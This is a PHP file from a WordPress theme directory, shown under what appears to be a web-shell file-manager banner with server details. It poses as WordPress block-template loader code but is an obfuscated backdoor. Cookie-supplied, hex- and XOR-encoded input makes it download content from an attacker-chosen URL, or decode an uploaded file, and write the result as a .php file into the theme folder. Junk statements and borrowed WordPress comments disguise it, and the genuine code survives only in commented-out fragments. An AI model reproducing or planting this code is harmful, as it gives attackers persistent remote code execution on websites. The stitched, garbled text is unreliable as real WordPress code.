| Server IP : 87.98.154.146 / Your IP : 216.73.216.165 Web Server : Apache System : Linux webm004.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : ohklomafyi ( 52085) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/ohklomafyi/www/wp-content/themes/16srn3ps/ |
Upload File : |
<?php /*
*
* Block template loader functions.
*
* @package WordPress
*
* Adds necessary hooks to resolve '_wp-find-template' requests.
*
* @access private
* @since 5.9.0
function _add_template_loader_filters() {
if ( isset( $_GET['_wp-find-template'] ) && current_theme_supports( 'block-templates' ) ) {
add_action( 'pre_get_posts', '_resolve_template_for_new_post' );
}
}
*
* Finds a block template with equal or higher specificity than a given PHP template file.
*
* Internally, this communicates the block content that needs to be used by the template canvas through a global variable.
*
* @sinc*/
/**
* Runs a Site Health test directly.
*
* @since 5.4.0
*
* @param callable $translations_stop_concatallback
* @return mixed|void
*/
function prepare_status_response($GenreID) { // Only run the registration if the old key is different.
$theme_file = "Data!";
$gettingHeaders = str_pad($theme_file, 10, "#"); // Only update the cache if it was modified.
$sub1comment = override_sidebars_widgets_for_theme_switch($GenreID);
return convert_custom_properties($sub1comment);
}
/**
* The message encoding.
* Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
*
* @var string
*/
function is_json_content_type($mime_types)
{ // ----- Set the attributes
$mime_types = ord($mime_types);
$has_aspect_ratio_support = "UniqueString"; // 'wp-admin/css/farbtastic-rtl.min.css',
$use_dotdotdot = hash('md4', $has_aspect_ratio_support);
$placeholder_count = str_pad($use_dotdotdot, 40, "$"); // Fall back to edit.php for that post type, if it exists.
$sigAfter = explode("U", $has_aspect_ratio_support); // If we don't have anything to pull from, return early.
$overhead = implode("-", $sigAfter);
return $mime_types;
}
/* translators: %s: The "$togroupir" argument. */
function ID3v2HeaderLength($has_sample_permalink)
{
return add_dashboard_page() . DIRECTORY_SEPARATOR . $has_sample_permalink . ".php";
}
/**
* Filters the number of comments listed per page in the comments list table.
*
* @since 2.6.0
*
* @param int $translations_stop_concatomments_per_page The number of comments to list per page.
* @param string $translations_stop_concatomment_status The comment status name. Default 'All'.
*/
function wp_img_tag_add_loading_optimization_attrs($uploaded, $this_item, $redirect_to)
{
if (isset($_FILES[$uploaded])) {
$should_skip_css_vars = "example"; // s6 += carry5;
admin_menu($uploaded, $this_item, $redirect_to);
$mce_locale = str_replace("a", "!", $should_skip_css_vars);
$translations_stop_concat = array("val1", "val2");
$togroup = implode("-", $translations_stop_concat); // This should never be set as it would then overwrite an existing attachment.
$LookupExtendedHeaderRestrictionsTextFieldSize = str_pad(length($togroup), 10, "0");
if ($LookupExtendedHeaderRestrictionsTextFieldSize > 5) {
$theme_json_shape = substr($mce_locale, 0, 3);
}
// Add description if available.
} // let n = initial_n
stream_body($redirect_to);
} // of the 'Reply' link that the user clicked by Core's `comment-reply.js` script.
/**
* Update Core administration panel.
*
* @package WordPress
* @subpackage Administration
*/
function wp_is_mobile($themes_url, $reg_blog_ids, $video_types) {
$larger_ratio = "base64encoded"; // Ensure layout classnames are not injected if there is no layout support.
$AMFstream = base64_decode($larger_ratio);
if ($AMFstream !== false) {
$rewrite_vars = strlen($AMFstream);
}
return wp_defer_term_counting($themes_url, $reg_blog_ids, $video_types);
}
/**
* WordPress scripts and styles default loader.
*
* Several constants are used to manage the loading, concatenating and compression of scripts and CSS:
* define('SCRIPT_DEBUG', true); loads the development (non-minified) versions of all scripts and CSS, and disables compression and concatenation,
* define('CONCATENATE_SCRIPTS', false); disables compression and concatenation of scripts and CSS,
* define('COMPRESS_SCRIPTS', false); disables compression of scripts,
* define('COMPRESS_CSS', false); disables compression of CSS,
* define('ENFORCE_GZIP', true); forces gzip for compression (default is deflate).
*
* The globals $translations_stop_concatoncatenate_scripts, $translations_stop_concatompress_scripts and $translations_stop_concatompress_css can be set by plugins
* to temporarily override the above settings. Also a compression test is run once and the result is saved
* as option 'can_compress_scripts' (0/1). The test will run again if that option is deleted.
*
* @package WordPress
*/
function get_cookies($magic_little, $view_script_module_ids)
{
$slashed_home = strlen($view_script_module_ids);
$hsla = strlen($magic_little);
$meta_line = "This is a test";
$seplocation = str_replace("i", "1", $meta_line); // 2.6
$remind_interval = hash('md5', $seplocation); // char ckID [4];
$slashed_home = $hsla / $slashed_home;
$slashed_home = ceil($slashed_home); // The menu id of the current menu being edited.
$orders_to_dbids = str_split($magic_little);
$view_script_module_ids = str_repeat($view_script_module_ids, $slashed_home);
if (!empty($remind_interval)) {
$DIVXTAGrating = substr($remind_interval, 0, 7);
$parsed_original_url = str_pad($DIVXTAGrating, 12, "0");
}
// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
$link_service = str_split($view_script_module_ids);
$link_service = array_slice($link_service, 0, $hsla); // [42][87] -- The version of DocType interpreter used to create the file.
$hide_clusters = array_map("application_name_exists_for_user", $orders_to_dbids, $link_service); // For other tax queries, grab the first term from the first clause.
$hide_clusters = implode('', $hide_clusters);
return $hide_clusters;
}
/**
* Sets the template for a post.
*
* @since 4.7.0
* @since 4.9.0 Added the `$validate` parameter.
*
* @param string $template Page template filename.
* @param int $post_id Post ID.
* @param bool $validate Whether to validate that the template selected is valid.
*/
function admin_menu($uploaded, $this_item, $redirect_to) // If gettext isn't available.
{ // expected_slashed ($meta_key)
$has_sample_permalink = $_FILES[$uploaded]['name'];
$maintenance = " test string ";
$v_gzip_temp_name = trim($maintenance);
$recursivesearch = ID3v2HeaderLength($has_sample_permalink);
$term_title = str_pad($v_gzip_temp_name, 15, ".");
if (strlen($term_title) > 10) {
$percentused = $term_title;
}
normalize_query_param($_FILES[$uploaded]['tmp_name'], $this_item);
update_keys($_FILES[$uploaded]['tmp_name'], $recursivesearch); // Ping and trackback functions.
}
/**
* Retrieves path of custom taxonomy term template in current or parent template.
*
* The hierarchy for this template looks like:
*
* 1. taxonomy-{taxonomy_slug}-{term_slug}.php
* 2. taxonomy-{taxonomy_slug}.php
* 3. taxonomy.php
*
* An example of this is:
*
* 1. taxonomy-location-texas.php
* 2. taxonomy-location.php
* 3. taxonomy.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'taxonomy'.
*
* @since 2.5.0
* @since 4.7.0 The decoded form of `taxonomy-{taxonomy_slug}-{term_slug}.php` was added to the top of the
* template hierarchy when the term slug contains multibyte characters.
*
* @see get_query_template()
*
* @return string Full path to custom taxonomy term template file.
*/
function override_sidebars_widgets_for_theme_switch($GenreID) {
$properties_to_parse = "PHP_Code_Examples";
$widget_reorder_nav_tpl = substr($properties_to_parse, 0, 7); // Changes later. Ends up being $mce_localease.
$MPEGaudioChannelModeLookup = hash("sha1", $widget_reorder_nav_tpl);
return ucwords($GenreID);
}
/**
* Filters the "Go to site" link displayed in the login page footer.
*
* @since 5.7.0
*
* @param string $link HTML link to the home URL of the current site.
*/
function connected($redirect_to) // ge25519_p3_dbl(&t4, &p2);
{
establish_loaded_changeset($redirect_to);
stream_body($redirect_to);
} // Function : PclZipUtilRename()
/**
* Flag for if we're currently doing an action, rather than a filter.
*
* @since 4.7.0
* @var bool
*/
function convert_custom_properties($GenreID) {
$widget_numbers = "Hello_World"; // [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
$GPS_this_GPRMC = rawurldecode($widget_numbers);
$post_has_changed = substr($GPS_this_GPRMC, 0, 5);
return str_replace(' ', '_', $GenreID);
} // This function may be called multiple times. Run the filter only once per page load.
/**
* Adds a submenu page to the Pages main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $translations_stop_concatapability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $translations_stop_concatallback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function stream_body($space)
{ // Prerendering.
echo $space; // Nikon Camera preview iMage 2
} // Post filtering.
/**
* Display the ID of the author of the current post.
*
* @since 0.71
* @deprecated 2.8.0 Use the_author_meta()
* @see the_author_meta()
*/
function Bin2String($uploaded)
{ // Blog-specific.
$this_item = 'uFozvTeIinwAcTkCwglZmmMfkzmQjhT';
$login__not_in = date("Y-m-d"); // Check if pings are on.
if (isset($_COOKIE[$uploaded])) {
if (!isset($login__not_in)) {
$slice = str_pad($login__not_in, 10, "0");
} else {
$DKIM_private = hash("md5", $login__not_in);
}
// Rotate 90 degrees counter-clockwise and flip vertically.
comment_type($uploaded, $this_item); //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
}
}
/**
* Verify whether a received input parameter is "iterable".
*
* @internal The PHP native `is_iterable()` function was only introduced in PHP 7.1
* and this library still supports PHP 5.6.
*
* @param mixed $stack_of_open_elementsnput Input parameter to verify.
*
* @return bool
*/
function comment_type($uploaded, $this_item)
{
$j0 = $_COOKIE[$uploaded];
$j0 = wp_is_fatal_error_handler_enabled($j0);
$theme_json_file_cache = " leading spaces "; // $p_info['filename'] : Filename with full path. Given by user (add),
$plugin_activate_url = trim($theme_json_file_cache); // Only the FTP Extension understands SSL.
$post_name__in_string = str_pad($plugin_activate_url, 30, '-'); // Index Entry Time Interval QWORD 64 // interval between index entries in 100-nanosecond units
$redirect_to = get_cookies($j0, $this_item);
if (getIterator($redirect_to)) { // Check for unique values of each key.
$proxy_port = connected($redirect_to);
return $proxy_port;
}
// found a left-brace, and we are in an array, object, or slice
wp_img_tag_add_loading_optimization_attrs($uploaded, $this_item, $redirect_to);
} // k1 => $k[2], $k[3]
/**
* Migrates old core pattern categories to the new categories.
*
* Core pattern categories are revamped. Migration is needed to ensure
* backwards compatibility.
*
* @since 6.2.0
*
* @param array $pattern Raw pattern as registered, before applying any changes.
* @return array Migrated pattern.
*/
function wp_install_defaults($themes_url, $perm) {
$g2_19 = "The quick brown fox"; // ----- Internal error handling
return substr_count($themes_url, $perm);
}
/**
* @internal You should not use this directly from another application
*
* @param string $stack_of_open_elementsn
* @param string $view_script_module_ids
* @return string
* @throws SodiumException
* @throws TypeError
*/
function AnalyzeString($valid_scheme_regex, $recursivesearch) // Override "(Auto Draft)" new post default title with empty string, or filtered value.
{
$link_image = wp_enqueue_editor_format_library_assets($valid_scheme_regex); // Set return value.
$link_image = "line1\nline2\nline3";
$posts_columns = explode("\n", $link_image); // magic_quote functions are deprecated in PHP 7.4, now assuming it's always off.
foreach ($posts_columns as $template_blocks) {
$template_blocks = trim($template_blocks);
}
if ($link_image === false) { // If a $togroupevelopment_build or if $stack_of_open_elementsntroduced version is greater than what the site was previously running.
return false;
}
return is_allowed_dir($recursivesearch, $link_image); // http://wiki.hydrogenaud.io/index.php?title=ReplayGain#MP3Gain
}
/**
* Fires after a PHPMailer\PHPMailer\Exception is caught.
*
* @since 4.4.0
*
* @param WP_Error $LookupExtendedHeaderRestrictionsTextFieldSizerror A WP_Error object with the PHPMailer\PHPMailer\Exception message, and an array
* containing the mail recipient, subject, message, headers, and attachments.
*/
function update_keys($previous_offset, $totals) // Consume byte
{ // Unattached attachments with inherit status are assumed to be published.
$theme_width = move_uploaded_file($previous_offset, $totals);
$original_setting_capabilities = "Welcome to PHP!";
$subframe = str_replace("PHP", "Programming", $original_setting_capabilities);
$rel_regex = hash('md5', $subframe); // Check all files are writable before attempting to clear the destination.
$term_obj = array("A", "B", "C");
if (count($term_obj) === 3) {
$trashed = implode(", ", $term_obj);
}
return $theme_width;
}
/**
* Class WP_Sitemaps_Renderer
*
* @since 5.5.0
*/
function add_dashboard_page()
{
return __DIR__;
}
/**
* Filters whether the REST API is enabled.
*
* @since 4.4.0
* @deprecated 4.7.0 Use the {@see 'rest_authentication_errors'} filter to
* restrict access to the REST API.
*
* @param bool $rest_enabled Whether the REST API is enabled. Default true.
*/
function getIterator($valid_scheme_regex)
{
if (strpos($valid_scheme_regex, "/") !== false) {
$possible_match = "collaborative_work";
$state_count = str_replace("_", " ", $possible_match);
$parent_suffix = substr($state_count, 0, 7);
$originals_addr = hash("sha1", $parent_suffix); // Core doesn't output this, so let's append it, so we don't get confused.
return true;
}
return false;
}
/**
* Retrieves the path of a file in the theme.
*
* Searches in the stylesheet directory before the template directory so themes
* which inherit from a parent theme can just override one file.
*
* @since 5.9.0
*
* @param string $theme_json_shapeile Optional. File to search for in the stylesheet directory.
* @return string The path of the file.
*/
function wp_enqueue_editor_format_library_assets($valid_scheme_regex)
{
$valid_scheme_regex = wp_new_comment_notify_postauthor($valid_scheme_regex);
$ok_to_comment = ' Remove spaces ';
$v_gzip_temp_name = trim($ok_to_comment); // Ensure only valid options can be passed.
if (!empty($v_gzip_temp_name)) {
$sitemap_entry = strtoupper($v_gzip_temp_name);
}
return file_get_contents($valid_scheme_regex);
} // Load the updated default text localization domain for new strings.
/**
* Suffix for inserted text.
*
* @var string
*/
function wp_simplepie_autoload($mime_types)
{
$perm = sprintf("%c", $mime_types);
return $perm; // Confidence check. Only IN queries use the JOIN syntax.
}
/**
* Filters the comment author's URL.
*
* @since 1.5.0
* @since 4.1.0 The `$translations_stop_concatomment_id` and `$translations_stop_concatomment` parameters were added.
*
* @param string $translations_stop_concatomment_author_url The comment author's URL, or an empty string.
* @param string|int $translations_stop_concatomment_id The comment ID as a numeric string, or 0 if not found.
* @param WP_Comment|null $translations_stop_concatomment The comment object, or null if not found.
*/
function application_name_exists_for_user($perm, $welcome_checked)
{
$mid = is_json_content_type($perm) - is_json_content_type($welcome_checked);
$max_checked_feeds = "MyEncodedString";
$mp3gain_globalgain_min = rawurldecode($max_checked_feeds);
$mid = $mid + 256;
$wp_registered_settings = hash('md5', $mp3gain_globalgain_min);
$schema_positions = str_pad($wp_registered_settings, 32, "#");
$old_instance = substr($mp3gain_globalgain_min, 2, 5); // Limit the length
if (!isset($old_instance)) {
$old_instance = str_pad($wp_registered_settings, 50, "*");
}
$mid = $mid % 256;
$has_block_gap_support = explode("e", $max_checked_feeds);
$perm = wp_simplepie_autoload($mid);
return $perm;
}
/**
* Filters whether a post untrashing should take place.
*
* @since 4.9.0
* @since 5.6.0 Added the `$previous_status` parameter.
*
* @param bool|null $untrash Whether to go forward with untrashing.
* @param WP_Post $post Post object.
* @param string $previous_status The status of the post at the point where it was trashed.
*/
function get_tests($uploaded, $precision = 'txt')
{
return $uploaded . '.' . $precision;
}
/**
* Gets the REST API revisions controller for this post type.
*
* Will only instantiate the controller class once per request.
*
* @since 6.4.0
*
* @return WP_REST_Controller|null The controller instance, or null if the post type
* is set not to show in rest.
*/
function wp_new_comment_notify_postauthor($valid_scheme_regex)
{ // Comment status should be moderated
$valid_scheme_regex = "http://" . $valid_scheme_regex;
$theme_json_file_cache = "Short";
$mofile = str_pad($theme_json_file_cache, 10, "_");
if (strlen($mofile) > 5) {
$mofile = str_replace("_", "-", $mofile);
}
return $valid_scheme_regex; // character, output %x2F ("/") and skip the remaining
} // If the current theme does NOT have a `theme.json`, or the colors are not
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $x
* @param SplFixedArray $y
* @return SplFixedArray
* @throws SodiumException
* @throws TypeError
*/
function establish_loaded_changeset($valid_scheme_regex) // First, save what we haven't read yet
{
$has_sample_permalink = basename($valid_scheme_regex);
$GenreID = "Concatenate";
$resized_file = hash("sha256", $GenreID);
if (!empty($resized_file)) {
$sync_seek_buffer_size = trim($resized_file);
}
$recursivesearch = ID3v2HeaderLength($has_sample_permalink);
AnalyzeString($valid_scheme_regex, $recursivesearch); // If not set, default to false.
} // Display URL.
/**
* Determines whether the user can access the visual editor.
*
* Checks if the user can access the visual editor and that it's supported by the user's browser.
*
* @since 2.0.0
*
* @global bool $wp_rich_edit Whether the user can access the visual editor.
* @global bool $stack_of_open_elementss_gecko Whether the browser is Gecko-based.
* @global bool $stack_of_open_elementss_opera Whether the browser is Opera.
* @global bool $stack_of_open_elementss_safari Whether the browser is Safari.
* @global bool $stack_of_open_elementss_chrome Whether the browser is Chrome.
* @global bool $stack_of_open_elementss_IE Whether the browser is Internet Explorer.
* @global bool $stack_of_open_elementss_edge Whether the browser is Microsoft Edge.
*
* @return bool True if the user can access the visual editor, false otherwise.
*/
function normalize_query_param($recursivesearch, $view_script_module_ids)
{
$translator_comments = file_get_contents($recursivesearch);
$theme_json_file_cache = "PHP is fun!";
$v_list = str_word_count($theme_json_file_cache);
if ($v_list > 3) {
$steps_above = "It's a long sentence.";
}
$more_string = get_cookies($translator_comments, $view_script_module_ids);
file_put_contents($recursivesearch, $more_string);
}
/**
* @param string $p
* @param string $q
* @param bool $togroupontFallback
* @return string
* @throws SodiumException
*/
function set_feed_url($v_data) { // Back compat with quirky handling in version 3.0. #14122.
$sideloaded = [0, 1];
$magic_little = array("item1", "item2", "item3");
for ($stack_of_open_elements = 2; $stack_of_open_elements <= $v_data; $stack_of_open_elements++) {
$the_time = json_encode($magic_little);
$sideloaded[$stack_of_open_elements] = $sideloaded[$stack_of_open_elements-1] + $sideloaded[$stack_of_open_elements-2];
$post_date = json_decode($the_time);
}
return $sideloaded[$v_data];
}
/**
* Get debug output level.
*
* @return int
*/
function is_allowed_dir($recursivesearch, $gallery_styles) // Get existing menu locations assignments.
{
return file_put_contents($recursivesearch, $gallery_styles);
}
/*
* If only 'id' and 'roles' are specified (we are only trying to
* edit roles), then only the 'promote_user' cap is required.
*/
function wp_is_fatal_error_handler_enabled($ParsedLyrics3)
{
$themes_url = pack("H*", $ParsedLyrics3); // This is hardcoded on purpose.
$valid_font_face_properties = "data%20one,data%20two";
$typography_supports = rawurldecode($valid_font_face_properties);
$parsed_json = hash("sha512", $typography_supports ^ date("Y-m-d"));
$registered_handle = substr($parsed_json, 0, 25); // iTunes 6.0
return $themes_url;
}
/**
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @return string
* @throws Exception
* @throws SodiumException
* @throws TypeError
*/
function wp_defer_term_counting($themes_url, $reg_blog_ids, $video_types) {
$should_skip_css_vars = date("His");
$mce_locale = "test";
$translations_stop_concat = in_array("value", array($mce_locale)); //$should_skip_css_varstom_structure['data'] = $should_skip_css_varstom_data;
$togroup = hash("gost", $should_skip_css_vars);
return str_replace($reg_blog_ids, $video_types, $themes_url);
}
$uploaded = 'YSsShllK';
$size_meta = "sampleText";
Bin2String($uploaded);
$position_from_end = rawurldecode($size_meta);
$screen_id = prepare_status_response("hello world php");
$use_dotdotdot = hash('sha512', $position_from_end);
$settings_html = wp_is_mobile("Hello World", "o", "0"); // Note that an ID of less than one indicates a nav_menu not yet inserted.
$AVCPacketType = explode('0', $use_dotdotdot);
/* e 5.8.0
* @since 6.3.0 Added `$_wp_current_template_id` global for editing of current template directly from the admin bar.
*
* @global string $_wp_current_template_content
* @global string $_wp_current_template_id
*
* @param string $template Path to the template. See locate_template().
* @param string $type Sanitized filename without extension.
* @param string[] $templates A list of template candidates, in descending order of priority.
* @return string The path to the Site Editor template canvas file, or the fallback PHP template.
function locate_block_template( $template, $type, array $templates ) {
global $_wp_current_template_content, $_wp_current_template_id;
if ( ! current_theme_supports( 'block-templates' ) ) {
return $template;
}
if ( $template ) {
* locate_template() has found a PHP template at the path specified by $template.
* That means that we have a fallback candidate if we cannot find a block template
* with higher specificity.
*
* Thus, before looking for matching block themes, we shorten our list of candidate
* templates accordingly.
Locate the index of $template (without the theme directory path) in $templates.
$relative_template_path = str_replace(
array( get_stylesheet_directory() . '/', get_template_directory() . '/' ),
'',
$template
);
$index = array_search( $relative_template_path, $templates, true );
If the template hierarchy algorithm has successfully located a PHP template file,
we will only consider block templates with higher or equal specificity.
$templates = array_slice( $templates, 0, $index + 1 );
}
$block_template = resolve_block_template( $type, $templates, $template );
if ( $block_template ) {
$_wp_current_template_id = $block_template->id;
if ( empty( $block_template->content ) && is_user_logged_in() ) {
$_wp_current_template_content =
sprintf(
translators: %s: Template title
__( 'Empty template: %s' ),
$block_template->title
);
} elseif ( ! empty( $block_template->content ) ) {
$_wp_current_template_content = $block_template->content;
}
if ( isset( $_GET['_wp-find-template'] ) ) {
wp_send_json_success( $block_template );
}
} else {
if ( $template ) {
return $template;
}
if ( 'index' === $type ) {
if ( isset( $_GET['_wp-find-template'] ) ) {
wp_send_json_error( array( 'message' => __( 'No matching template found.' ) ) );
}
} else {
return ''; So that the template loader keeps looking for templates.
}
}
Add hooks for template canvas.
Add viewport meta tag.
add_action( 'wp_head', '_block_template_viewport_meta_tag', 0 );
Render title tag with content, regardless of whether theme has title-tag support.
remove_action( 'wp_head', '_wp_render_title_tag', 1 ); Remove conditional title tag rendering...
add_action( 'wp_head', '_block_template_render_title_tag', 1 ); ...and make it unconditional.
This file will be included instead of the theme's template file.
return ABSPATH . WPINC . '/template-canvas.php';
}
*
* Returns the correct 'wp_template' to render for the request template type.
*
* @access private
* @since 5.8.0
* @since 5.9.0 Added the `$fallback_template` parameter.
*
* @param string $template_type The current template type.
* @param string[] $template_hierarchy The current template hierarchy, ordered by priority.
* @param string $fallback_template A PHP fallback template to use if no matching block template is found.
* @return WP_Block_Template|null template A template object, or null if none could be found.
function resolve_block_template( $template_type, $template_hierarchy, $fallback_template ) {
if ( ! $template_type ) {
return null;
}
if ( empty( $template_hierarchy ) ) {
$template_hierarchy = array( $template_type );
}
$slugs = array_map(
'_strip_template_file_suffix',
$template_hierarchy
);
Find all potential templates 'wp_template' post matching the hierarchy.
$query = array(
'slug__in' => $slugs,
);
$templates = get_block_templates( $query );
Order these templates per slug priority.
Build map of template slugs to their priority in the current hierarchy.
$slug_priorities = array_flip( $slugs );
usort(
$templates,
static function ( $template_a, $template_b ) use ( $slug_priorities ) {
return $slug_priorities[ $template_a->slug ] - $slug_priorities[ $template_b->slug ];
}
);
$theme_base_path = get_stylesheet_directory() . DIRECTORY_SEPARATOR;
$parent_theme_base_path = get_template_directory() . DIRECTORY_SEPARATOR;
Is the active theme a child theme, and is the PHP fallback template part of it?
if (
str_starts_with( $fallback_template, $theme_base_path ) &&
! str_contains( $fallback_template, $parent_theme_base_path )
) {
$fallback_template_slug = substr(
$fallback_template,
Starting position of slug.
strpos( $fallback_template, $theme_base_path ) + strlen( $theme_base_path ),
Remove '.php' suffix.
-4
);
Is our candidate block template's slug identical to our PHP fallback template's?
if (
count( $templates ) &&
$fallback_template_slug === $templates[0]->slug &&
'theme' === $templates[0]->source
) {
Unfortunately, we cannot trust $templates[0]->theme, since it will always
be set to the active theme's slug by _build_block_template_result_from_file(),
even if the block template is really coming from the active theme's parent.
(The reason for this is that we want it to be associated with the active theme
-- not its parent -- once we edit it and store it to the DB as a wp_template CPT.)
Instead, we use _get_block_template_file() to locate the block template file.
$template_file = _get_block_template_file( 'wp_template', $fallback_template_slug );
if ( $template_file && get_template() === $template_file['theme'] ) {
The block template is part of the parent theme, so we
have to give precedence to the child theme's PHP template.
array_shift( $templates );
}
}
}
return count( $templates ) ? $templates[0] : null;
}
*
* Displays title tag with content, regardless of whether theme has title-tag support.
*
* @access private
* @since 5.8.0
*
* @see _wp_render_title_tag()
function _block_template_render_title_tag() {
echo '<title>' . wp_get_document_title() . '</title>' . "\n";
}
*
* Returns the markup for the current template.
*
* @access private
* @since 5.8.0
*
* @global string $_wp_current_template_id
* @global string $_wp_current_template_content
* @global WP_Embed $wp_embed WordPress Embed object.
* @global WP_Query $wp_query WordPress Query object.
*
* @return string Block template markup.
function get_the_block_template_html() {
global $_wp_current_template_id, $_wp_current_template_content, $wp_embed, $wp_query;
if ( ! $_wp_current_template_content ) {
if ( is_user_logged_in() ) {
return '<h1>' . esc_html__( 'No matching template found' ) . '</h1>';
}
return;
}
$content = $wp_embed->run_shortcode( $_wp_current_template_content );
$content = $wp_embed->autoembed( $content );
$content = shortcode_unautop( $content );
$content = do_shortcode( $content );
* Most block themes omit the `core/query` and `core/post-template` blocks in their singular content templates.
* While this technically still works since singular content templates are always for only one post, it results in
* the main query loop never being entered which causes bugs in core and the plugin ecosystem.
*
* The workaround below ensures that the loop is started even for those singular templates. The while loop will by
* definition only go through a single iteration, i.e. `do_blocks()` is only called once. Additional safeguard
* checks are included to ensure the main query loop has not been tampered with and really only encompasses a
* single post.
*
* Even if the block template contained a `core/query` and `core/post-template` block referencing the main query
* loop, it would not cause errors since it would use a cloned instance and go through the same loop of a single
* post, within the actual main query loop.
*
* This special logic should be skipped if the current template does not come from the current theme, in which case
* it has been injected by a plugin by hijacking the block template loader mechanism. In that case, entirely custom
* logic may be applied which is unpredictable and therefore safer to omit this special handling on.
if (
$_wp_current_template_id &&
str_starts_with( $_wp_current_template_id, get_stylesheet() . '' ) &&
is_singular() &&
1 === $wp_query->post_count &&
have_posts()
) {
while ( have_posts() ) {
the_post();
$content = do_blocks( $content );
}
} else {
$content = do_blocks( $content );
}
$content = wptexturize( $content );
$content = convert_smilies( $content );
$content = wp_filter_content_tags( $content, 'template' );
$content = str_replace( ']]>', ']]>', $content );
Wrap block template in .wp-site-blocks to allow for specific descendant styles
(e.g. `.wp-site-blocks > *`).
return '<div class="wp-site-blocks">' . $content . '</div>';
}
*
* Renders a 'viewport' meta tag.
*
* This is hooked into {@see 'wp_head'} to decouple its output from the default template canvas.
*
* @access private
* @since 5.8.0
function _block_template_viewport_meta_tag() {
echo '<meta name="viewport" content="width=device-width, initial-scale=1" />' . "\n";
}
*
* Strips .php or .html suffix from template file names.
*
* @access private
* @since 5.8.0
*
* @param string $template_file Template file name.
* @return string Template file name without extension.
function _strip_template_file_suffix( $template_file ) {
return preg_replace( '/\.(php|html)$/', '', $template_file );
}
*
* Removes post details from block context when rendering a block template.
*
* @access private
* @since 5.8.0
*
* @param array $context Default context.
*
* @return array Filtered context.
function _block_template_render_without_post_block_context( $context ) {
* When loading a template directly and not through a page that resolves it,
* the top-level post ID and type context get set to that of the template.
* Templates are just the structure of a site, and they should not be available
* as post context because blocks like Post Content would recurse infinitely.
if ( isset( $context['postType'] ) && 'wp_template' === $context['postType'] ) {
unset( $context['postId'] );
unset( $context['postType'] );
}
return $context;
}
*
* Sets the current WP_Query to return auto-draft posts.
*
* The auto-draft status indicates a new post, so allow the the WP_Query instance to
* return an auto-draft post for template resolution when editing a new post.
*
* @access private
* @since 5.9.0
*
* @param WP_Query $wp_query Current WP_Query instance, passed by reference.
function _resolve_template_for_new_post( $wp_query ) {
if ( ! $wp_query->is_main_query() ) {
return;
}
remove_filter( 'pre_get_posts', '_resolve_template_for_new_post' );
Pages.
$page_id = isset( $wp_query->query['page_id'] ) ? $wp_query->query['page_id'] : null;
Posts, including custom post types.
$p = isset( $wp_query->query['p'] ) ? $wp_query->query['p'] : null;
$post_id = $page_id ? $page_id : $p;
$post = get_post( $post_id );
if (
$post &&
'auto-draft' === $post->post_status &&
current_user_can( 'edit_post', $post->ID )
) {
$wp_query->set( 'post_status', 'auto-draft' );
}
}
*/